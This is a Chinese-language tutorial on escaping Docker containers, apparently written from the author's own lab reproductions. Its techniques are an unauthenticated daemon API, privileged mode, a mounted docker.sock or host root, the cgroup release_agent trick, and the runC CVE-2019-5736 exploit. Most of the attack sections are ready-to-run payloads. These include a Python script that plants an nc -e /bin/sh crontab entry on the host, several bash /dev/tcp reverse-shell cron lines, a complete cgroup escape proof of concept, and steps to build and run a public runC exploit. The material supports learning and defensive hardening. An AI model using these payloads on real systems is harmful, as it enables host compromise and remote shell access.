淺析不同情況下Docker的逃逸方法
一、Docker逃逸
1、docker daemon api未授權訪問
漏洞原理:在使用docker swarm的時候,節點上會開放一個TCP端口2375,綁定在0.0.0.0上,如果我們使用HTTP的方式訪問會返回404 利用思路:通過掛在宿主機的目錄,寫定時任務獲取SHELL,從而逃逸。
git clone https://github.com/vulhub/vulhub.git

docker-compose build docker-compose up -d


docker ps -a | grep rce

訪問ip:2375/version

payload
import docker client = docker.DockerClient(base_url='http://192.168.0.138:2375') data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.0.138 1234 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}}) print(data)

2、privileged 特權模式啟動容器
2.1、特權模式與非特權模式的區別
2.1.1、Linux Capabilities
- 普通模式下容器內進程只可以使用有限的一些 Linux Capabilities
在普通模式下可以手動自定義--cap-add參數自定義
- 特權模式下的容器內進程可以使用所有的 linux capabilities
特權模式下,容器內進程擁有使用所有的 linux capabilities 的能力,但是, 不表示進程就一定有使用某些 linux capabilities 的權限。比如,如果容器是以非 root 用戶啟動的, 就算它是以特權模式啟動的容器,也不表示它就能夠做一些無權限做的事情。
2.1.2、Linux敏感目錄
- 普通模式下,部分內核模塊路徑比如 /proc 下的一些目錄需要阻止寫入、有些又需要允許讀寫, 這些文件目錄將會以 tmpfs 文件系統的方式掛載到容器中,以實現目錄 mask 的需求
- 特權模式下,這些目錄將不再以 tmpfs 文件系統的方式掛載
Tips: Tmpfs說明:
https://blog.51cto.com/u_11495268/2424414
2.1.3、任何內核文件都是可讀寫
- 普通模式下,部分內核文件系統(sysfs、procfs)會被以只讀的方式掛載到容器中,以阻止容器內進程隨意修改系統內核
- 特權模式下,內核文件系統將不再以只讀的方式被掛載
2.1.4、AppArmor與Seccomp
Tips
AppArmor: https://www.cnblogs.com/zlhff/p/5464862.htmlSeccomp: https://en.wikipedia.org/wiki/Seccomp
- 普通模式下,可以通過配置 AppArmor 或 Seccomp 相關安全選項 (如果未配置的話,容器引擎默認也會啟用一些對應的默認配置) 對容器進行加固
- 特權模式下,這些 AppArmor 或 Seccomp 相關配置將不再生效
2.1.5、cgroup讀寫
- 默認模式下,只能以只讀模式操作 cgroup
- 特權模式下,將可以對 cgroup 進行讀寫操作
2.1.6、/dev
- 普通模式下,容器內 /dev 目錄下看不到節點 /dev 目錄下特有的 devices
- 特權模式下,容器內的 /dev 目錄會包含這些來自節點 /dev 目錄下的那些內容
2.1.7、SELinux
- 特權模式下,SELinux 相關的安全加固配置將被禁用。
- 普通模式下也可以通過對應的安全選項來禁用 SELinux 特性。
2.1.8、參考
https://mozillazg.com/2021/11/docker-container-difference-between-privileged-mode-and-non-privileged-mode.html
2.2、復現
2.2.1、啟動特權容器
docker run -it --privileged ubuntu:18.04

2.2.2、掛在宿主機目錄
fdisk -l

可以直接掛載宿主機的磁盤
mkdir uzju mount /dev/sda3 uzju/ chroot /uzju/

查看宿主機的/etc/passwd

查看root目錄


Tips: chroot命令 chroot命令 用來在指定的根目錄下運行指令。chroot,即 change root directory (更改 root 目錄)。在 linux 系統中,系統默認的目錄結構都是以/,即是以根 (root) 開始的。而在使用 chroot 之后,系統的目錄結構將以指定的位置作為/位置。 把根目錄換成指定的目的目錄
Ps: 在這遇到一個問題 https://www.kingkk.com/2021/01/%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8/ 參考了這篇文章,但是這篇文章說,使用以下命令 cat /proc/self/status | grep CapEff如果返回的值為0000003fffffffff就是特權模式啟動,但是我在我的centos中發現返回的值為0000001fffffffff,我也是特權模式啟動 。

可是在Centos中的值如下圖

隨后在ubuntu21.10的宿主機系統下載docker鏡像ubuntu18.04,查看后發現結果為0000003fffffffff

通過capsh命令可以看到,為0000001fffffffff和為0000003fffffffff就只相差一點

2.2.3、寫crontab 反彈shell
crontab -e * * * * * /bin/bash -i >& /dev/tcp/192.168.0.139/1234 0>&1
等待反彈即可

3、掛載docker.sock
3.1、什么是docker.sock

/var/run/docker.sock是 Docker守護程序默認監聽的 Unix 套接字。它也是一個用于從容器內與Docker守護進程通信的工具。
取自StackOverflowUnix Sockets 術語套接字通常是指 IP 套接字。這些是綁定到端口(和地址)的端口,我們向其發送 TCP 請求并從中獲取響應。
另一種類型的 Socket 是 Unix Socket,這些套接字用于IPC(進程間通信)。它們也稱為 Unix 域套接字 ( UDS )。Unix 套接字使用本地文件系統進行通信,而 IP 套接字使用網絡。
Docker 守護進程可以通過三種不同類型的 Socket 監聽 Docker Engine API 請求:unix, tcp, and fd. 默認情況下,在 /var/run/docker.sock 中創建一個 unix 域套接字(或 IPC 套接字)
3.2、創建docker
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04

隨后在docker容器中安裝docker
# ubuntu 18.04安裝dockersudo apt-get update# 安裝依賴包sudo apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common# 添加 Docker 的官方 GPG 密鑰curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -# 驗證您現在是否擁有帶有指紋的密鑰sudo apt-key fingerprint 0EBFCD88# 設置穩定版倉庫sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"# 更新$ sudo apt-get update# 安裝最新的Docker-ce sudo apt-get install docker-ce# 啟動sudo systemctl enable dockersudo systemctl start docker

安裝完成之后我們使用docker ps就可以看到宿主機上的容器了。
3.3、復現
將宿主機的根目錄掛載到容器
docker run -it -v /:/uzju ubuntu:18.04 /bin/bash
chroot uzju

可以看到宿主機root目錄上的圖片,反彈shell也是修改crontab即可。
3.4、反彈shell
通過修改Crontab定時任務來反彈shell
crontab -e
* * * * * /bin/bash -i >& /dev/tcp/192.168.0.139/123 0>&1



4、掛載宿主機根目錄
如果在docker啟動的時候掛載了宿主機的根目錄,就可以通過chroot獲取宿主機的權限。
docker run -it -v /:/uzju/ ubuntu:18.04 chroot /uzju/

4.1、反彈shell
還是一樣可以通過crontab反彈shell
* * * * * /bin/bash -i >& /dev/tcp/192.168.0.139/1234 0>&1

5、Cgroup執行宿主機系統命令
通過notify_on_release實現容器逃逸
條件:
- 以root用戶身份在容器內運行
- 使用SYS_ADMINLinux功能運行
- 缺少AppArmor配置文件,否則將允許mountsyscall
- cgroup v1虛擬文件系統必須以讀寫方式安裝在容器內
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04

POC
# In the container# 掛載宿主機cgroup,自定義一個cgroup,/tmp/cgrp/xmkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x# 設置/tmp/cgrp/x的cgroup的notify_no_release和release_agent# 設置/tmp/cgrp/x的notify_no_release屬性設置為1,通過sed匹配出/etc/mtab中perdir=的路徑,然后將路徑+cmd寫入/tmp/cgrp/release_agentecho 1 > /tmp/cgrp/x/notify_on_releasehost_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`echo "$host_path/cmd" > /tmp/cgrp/release_agent# 寫入自定義命令echo '#!/bin/sh' > /cmd# 結果在當前目錄的output文件中echo "ps aux > $host_path/output" >> /cmdchmod a+x /cmd# 執行完sh -c之后,sh進程自動退出,cgroup /tmp/cgrp/x里不再包含任何任務,/tmp/cgrp/release_agent文件里的shell將被操作系統內核執行,達到了容器逃逸的效果sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

隨后查看cat output

5.1、cgroup
cgroups 是Linux內核提供的一種可以限制單個進程或者多個進程所使用資源的機制,可以對 cpu,內存等資源實現精細化的控制,目前越來越火的輕量級容器 Docker 就使用了 cgroups 提供的資源限制能力來完成cpu,內存等部分的資源控制。
另外,開發者也可以使用 cgroups 提供的精細化控制能力,限制某一個或者某一組進程的資源使用。比如在一個既部署了前端 web 服務,也部署了后端計算模塊的八核服務器上,可以使用 cgroups 限制 web server 僅可以使用其中的六個核,把剩下的兩個核留給后端計算模塊。
Cgroup主要限制的資源
- CPU
- 內存
- 網絡
- 磁盤I/O

5.2、notify_on_release
如果cgroup中使能notify_on_release,cgroup中的最后一個進程被移除,最后一個子cgroup也被刪除時,cgroup會主動通知kernel。接收到消息的kernel會執行release_agent文件中指定的程序。
notify_on_release默認是關閉的,release_agent的內容默認為空,子cgroup在創建時會繼承父cgroup中notify_on_relase和release_agent的屬性。所以這兩個文件只存在于cgroupfs的頂層目錄中。
cgroup的每一個subsystem都有參數notify_on_release,這個參數值是Boolean型,1或0。分別可以啟動和禁用釋放代理的指令。如果notify_on_release啟用,當cgroup不再包含任何任務時(即,cgroup的tasks文件里的PID為空時),系統內核會執行release_agent參數指定的文件里的內容。
https://www.freebuf.com/vuls/264843.html
6、runC逃逸-CVE-2019-5736
6.1、影響版本
docker version <=18.09.2 RunC version <=1.0-rc6
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh


下載Exploit
git clone https://github.com/Frichetten/CVE-2019-5736-PoC CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
下載完之后改一下main.go

這里改成在宿主機的/tmp寫一個UzJu

隨后傳入容器中

然后我們在宿主機的/tmp目錄中寫一個UzJu

運行exp

然后我們在宿主機嘗試去exec進入該容器

可以看到執行成功了



參考文章
- https://security.tencent.com/index.php/blog/msg/183
- https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
- https://mozillazg.com/2021/11/docker-container-difference-between-privileged-mode-and-non-privileged-mode.html
- https://stackoverflow.com/questions/35110146/can-anyone-explain-docker-sock
- https://www.educative.io/edpresso/var-run-dockersock
- https://www.cnblogs.com/fundebug/p/6723464.html
- https://gihyo.jp/admin/serial/01/linux_containers/0042?page=2
- https://qiita.com/miyase256/items/2ec5b5703ccd525e7ced
- https://tech.meituan.com/2015/03/31/cgroups.html
- https://blog.csdn.net/qq_38376348/article/details/122945600
- https://segmentfault.com/a/1190000040980305
- https://www.freebuf.com/vuls/264843.html